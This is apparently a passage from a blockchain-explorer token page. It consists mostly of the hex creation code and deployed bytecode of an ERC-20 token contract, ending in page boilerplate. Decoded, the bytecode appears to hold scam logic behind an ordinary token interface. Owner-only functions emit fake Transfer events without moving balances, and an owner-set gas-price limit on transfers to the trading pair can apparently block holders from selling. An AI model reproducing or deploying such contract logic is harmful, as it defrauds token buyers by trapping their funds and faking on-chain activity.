2303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610660565b6001600160a01b038085165f908152600160205260408082208585039055918516815290812080548492906113399084906116c2565b90915550506007546001600160a01b039081169085160361138b576006546040518381526001600160a01b038581169216905f80516020611768833981519152906020015b60405180910390a3611165565b6007546001600160a01b03908116908416036113d0576006546040518381526001600160a01b03918216918616905f805160206117688339815191529060200161137e565b826001600160a01b0316846001600160a01b03165f805160206117688339815191528460405161137e91815260200190565b5f602080835283518060208501525f5b8181101561142e57858101830151858201604001528201611412565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114611464575f80fd5b919050565b5f806040838503121561147a575f80fd5b6114838361144e565b946020939093013593505050565b5f805f606084860312156114a3575f80fd5b6114ac8461144e565b92506114ba6020850161144e565b9150604084013590509250925092565b5f8083601f8401126114da575f80fd5b50813567ffffffffffffffff8111156114f1575f80fd5b6020830191508360208260051b850101111561150b575f80fd5b9250929050565b5f805f805f60608688031215611526575f80fd5b61152f8661144e565b9450602086013567ffffffffffffffff8082111561154b575f80fd5b61155789838a016114ca565b9096509450604088013591508082111561156f575f80fd5b5061157c888289016114ca565b969995985093965092949392505050565b5f805f6040848603121561159f575f80fd5b833567ffffffffffffffff8111156115b5575f80fd5b6115c1868287016114ca565b909790965060209590950135949350505050565b5f80604083850312156115e6575f80fd5b6115ef8361144e565b915060208301358015158114611603575f80fd5b809150509250929050565b5f6020828403121561161e575f80fd5b6116278261144e565b9392505050565b5f6020828403121561163e575f80fd5b5035919050565b5f8060408385031215611656575f80fd5b61165f8361144e565b915061166d6020840161144e565b90509250929050565b600181811c9082168061168a57607f821691505b6020821081036116a857634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b808201808211156105ce576105ce6116ae565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b80820281158282048414176105ce576105ce6116ae565b5f8261174f57634e487b7160e01b5f52601260045260245ffd5b500490565b818103818111156105ce576105ce6116ae56feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa26469706673582212201e3eb857e39cc129308928586817770de97877797351fa2c8337fda6b9e364a964736f6c63430008180033ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef

Deployed Bytecode

0x608060405234801561000f575f80fd5b5060043610610208575f3560e01c8063715018a61161011f578063b22c95e7116100a9578063d632135b11610079578063d632135b146104aa578063dd62ed3e146104bd578063f01a4b99146104f5578063f2fde38b14610508578063f887ea401461051b575f80fd5b8063b22c95e714610455578063bf861b3114610468578063c9567bf91461047b578063d5abeb0114610483575f80fd5b806396784f75116100ef57806396784f7514610409578063985bdfd11461034a578063a457c2d71461041c578063a8aa1b311461042f578063a9059cbb14610442575f80fd5b8063715018a6146103c7578063825e7b83146103cf5780638da5cb5b146103f157806395d89b4114610401575f80fd5b8063313ce567116101a05780634c255c97116101705780634c255c971461034a5780634ca64b3a146103665780634e148e19146103795780635d8228131461038c57806370a082311461039f575f80fd5b8063313ce567146102ec57806339509351146102fb5780634022b75e1461030e5780634706240214610323575f80fd5b806323b872dd116101db57806323b872dd1461027357806325fa0b981461028657806327c8f8351461029a5780632b14ca56146102c5575f80fd5b806306fdde031461020c578063095ea7b31461022a578063158ef93e1461024d57806318160ddd14610261575b5f80fd5b61021461052e565b6040516102219190611402565b60405180910390f35b61023d610238366004611469565b6105be565b6040519015158152602001610221565b60075461023d90600160a01b900460ff1681565b6003545b604051908152602001610221565b61023d610281366004611491565b6105d4565b60075461023d90600160a81b900460ff1681565b6009546102ad906001600160a01b031681565b6040516001600160a01b039091168152602001610221565b6102657f000000000000000000000000000000000000000000000000000000000000000081565b60405160128152602001610221565b61023d610309366004611469565b610681565b61032161031c366004611512565b6106bc565b005b6102657f000000000000000000000000000000000000000000000000000000000000000081565b61035361271081565b60405161ffff9091168152602001610221565b61032161037436600461158d565b610777565b6103216103873660046115d5565b6107c2565b61032161039a366004611512565b610815565b6102656103ad36600461160e565b6001600160a01b03165f9081526001602052604090205490565b6103216108c8565b61023d6103dd36600461160e565b600b6020525f908152604090205460ff1681565b5f546001600160a01b03166102ad565b6102146108fc565b610321610417366004611512565b61090b565b61023d61042a366004611469565b6109be565b6008546102ad906001600160a01b031681565b61023d610450366004611469565b610a56565b610321610463366004611512565b610a62565b61032161047636600461162e565b610b15565b610321610b43565b6102657f0000000000000000000000000000000000000000001bbd28f620b9df3820000081565b6103216104b8366004611512565b610bdb565b6102656104cb366004611645565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b610321610503366004611512565b610c8e565b61032161051636600461160e565b610d41565b600c546102ad906001600160a01b031681565b60606004805461053d90611676565b80601f016020809104026020016040519081016040528092919081815260200182805461056990611676565b80156105b45780601f1061058b576101008083540402835291602001916105b4565b820191905f5260205f20905b81548152906001019060200180831161059757829003601f168201915b5050505050905090565b5f6105ca338484610ddb565b5060015b92915050565b5f6105e0848484610efe565b6001600160a01b0384165f908152600260209081526040808320338452909152902054828110156106695760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6106768533858403610ddb565b506001949350505050565b335f8181526002602090815260408083206001600160a01b038716845290915281205490916105ca9185906106b79086906116c2565b610ddb565b5f546001600160a01b031633146106e55760405162461bcd60e51b8152600401610660906116d5565b5f5b8381101561076f578484828181106107015761070161170a565b9050602002016020810190610716919061160e565b6001600160a01b0316866001600160a01b03165f805160206117688339815191528585858181106107495761074961170a565b9050602002013560405161075f91815260200190565b60405180910390a36001016106e7565b505050505050565b335f5b838110156107bb576107b3828686848181106107985761079861170a565b90506020020160208101906107ad919061160e565b85610efe565b60010161077a565b5050505050565b5f546001600160a01b031633146107eb5760405162461bcd60e51b8152600401610660906116d5565b6001600160a01b03919091165f908152600b60205260409020805460ff1916911515919091179055565b5f546001600160a01b0316331461083e5760405162461bcd60e51b8152600401610660906116d5565b5f5b8381101561076f5784848281811061085a5761085a61170a565b905060200201602081019061086f919061160e565b6001600160a01b0316866001600160a01b03165f805160206117688339815191528585858181106108a2576108a261170a565b905060200201356040516108b891815260200190565b60405180910390a3600101610840565b5f546001600160a01b031633146108f15760405162461bcd60e51b8152600401610660906116d5565b6108fa5f61116b565b565b60606005805461053d90611676565b5f546001600160a01b031633146109345760405162461bcd60e51b8152600401610660906116d5565b5f5b8381101561076f578484828181106109505761095061170a565b9050602002016020810190610965919061160e565b6001600160a01b0316866001600160a01b03165f805160206117688339815191528585858181106109985761099861170a565b905060200201356040516109ae91815260200190565b60405180910390a3600101610936565b335f9081526002602090815260408083206001600160a01b038616845290915281205482811015610a3f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610660565b610a4c3385858403610ddb565b5060019392505050565b5f6105ca338484610efe565b5f546001600160a01b03163314610a8b5760405162461bcd60e51b8152600401610660906116d5565b5f5b8381101561076f57848482818110610aa757610aa761170a565b9050602002016020810190610abc919061160e565b6001600160a01b0316866001600160a01b03165f80516020611768833981519152858585818110610aef57610aef61170a565b90506020020135604051610b0591815260200190565b60405180910390a3600101610a8d565b5f546001600160a01b03163314610b3e5760405162461bcd60e51b8152600401610660906116d5565b600a55565b5f546001600160a01b03163314610b6c5760405162461bcd60e51b8152600401610660906116d5565b600754600160a81b900460ff1615610bc65760405162461bcd60e51b815260206004820152601c60248201527f436f6e74726163743a2054726164696e67206973206f70656e656421000000006044820152606401610660565b6007805460ff60a81b1916600160a81b179055565b5f546001600160a01b03163314610c045760405162461bcd60e51b8152600401610660906116d5565b5f5b8381101561076f57848482818110610c2057610c2061170a565b9050602002016020810190610c35919061160e565b6001600160a01b0316866001600160a01b03165f80516020611768833981519152858585818110610c6857610c6861170a565b90506020020135604051610c7e91815260200190565b60405180910390a3600101610c06565b5f546001600160a01b03163314610cb75760405162461bcd60e51b8152600401610660906116d5565b5f5b8381101561076f57848482818110610cd357610cd361170a565b9050602002016020810190610ce8919061160e565b6001600160a01b0316866001600160a01b03165f80516020611768833981519152858585818110610d1b57610d1b61170a565b90506020020135604051610d3191815260200190565b60405180910390a3600101610cb9565b5f546001600160a01b03163314610d6a5760405162461bcd60e51b8152600401610660906116d5565b6001600160a01b038116610dcf5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610660565b610dd88161116b565b50565b6001600160a01b038316610e3d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610660565b6001600160a01b038216610e9e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610660565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600754600160a01b900460ff161515600114610f5c5760405162461bcd60e51b815260206004820152601a60248201527f436f6e74726163743a206e6f7420696e697469616c697a6564210000000000006044820152606401610660565b600754600160a01b900460ff1615156001148015610f845750600754600160a81b900460ff16155b15610ffc575f546001600160a01b0384811691161480610fb057505f546001600160a01b038381169116145b610ffc5760405162461bcd60e51b815260206004820181905260248201527f436f6e74726163743a2074726164696e67206973206e6f7420737461727465646044820152606401610660565b60085481906001600160a01b03161580159061102557505f546001600160a01b03858116911614155b801561103e57505f546001600160a01b03848116911614155b1561115a576008545f906001600160a01b039081169086160361107e57507f00000000000000000000000000000000000000000000000000000000000000005b6008546001600160a01b03908116908516036110c2577f000000000000000000000000000000000000000000000000000000000000000090506110c2600a546111ba565b6001600160a01b0385165f908152600b602052604090205460ff1615156001148061110957506001600160a01b0384165f908152600b602052604090205460ff1615156001145b1561111157505f5b8015611158575f612710611125838661171e565b61112f9190611735565b905061113b8185611754565b6009549093506111569087906001600160a01b0316836111c6565b505b505b6111658484836111c6565b50505050565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b803a1115610dd8575f80fd5b6001600160a01b03831661122a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610660565b6001600160a01b03821661128c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610660565b6001600160a01b0383165f90815260016020526040902054818110156113035760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610660565b6001600160a01b038085165f908152600160205260408082208585039055918516815290812080548492906113399084906116c2565b90915550506007546001600160a01b039081169085160361138b576006546040518381526001600160a01b038581169216905f80516020611768833981519152906020015b60405180910390a3611165565b6007546001600160a01b03908116908416036113d0576006546040518381526001600160a01b03918216918616905f805160206117688339815191529060200161137e565b826001600160a01b0316846001600160a01b03165f805160206117688339815191528460405161137e91815260200190565b5f602080835283518060208501525f5b8181101561142e57858101830151858201604001528201611412565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114611464575f80fd5b919050565b5f806040838503121561147a575f80fd5b6114838361144e565b946020939093013593505050565b5f805f606084860312156114a3575f80fd5b6114ac8461144e565b92506114ba6020850161144e565b9150604084013590509250925092565b5f8083601f8401126114da575f80fd5b50813567ffffffffffffffff8111156114f1575f80fd5b6020830191508360208260051b850101111561150b575f80fd5b9250929050565b5f805f805f60608688031215611526575f80fd5b61152f8661144e565b9450602086013567ffffffffffffffff8082111561154b575f80fd5b61155789838a016114ca565b9096509450604088013591508082111561156f575f80fd5b5061157c888289016114ca565b969995985093965092949392505050565b5f805f6040848603121561159f575f80fd5b833567ffffffffffffffff8111156115b5575f80fd5b6115c1868287016114ca565b909790965060209590950135949350505050565b5f80604083850312156115e6575f80fd5b6115ef8361144e565b915060208301358015158114611603575f80fd5b809150509250929050565b5f6020828403121561161e575f80fd5b6116278261144e565b9392505050565b5f6020828403121561163e575f80fd5b5035919050565b5f8060408385031215611656575f80fd5b61165f8361144e565b915061166d6020840161144e565b90509250929050565b600181811c9082168061168a57607f821691505b6020821081036116a857634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b808201808211156105ce576105ce6116ae565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b80820281158282048414176105ce576105ce6116ae565b5f8261174f57634e487b7160e01b5f52601260045260245ffd5b500490565b818103818111156105ce576105ce6116ae56feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa26469706673582212201e3eb857e39cc129308928586817770de97877797351fa2c8337fda6b9e364a964736f6c63430008180033

Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.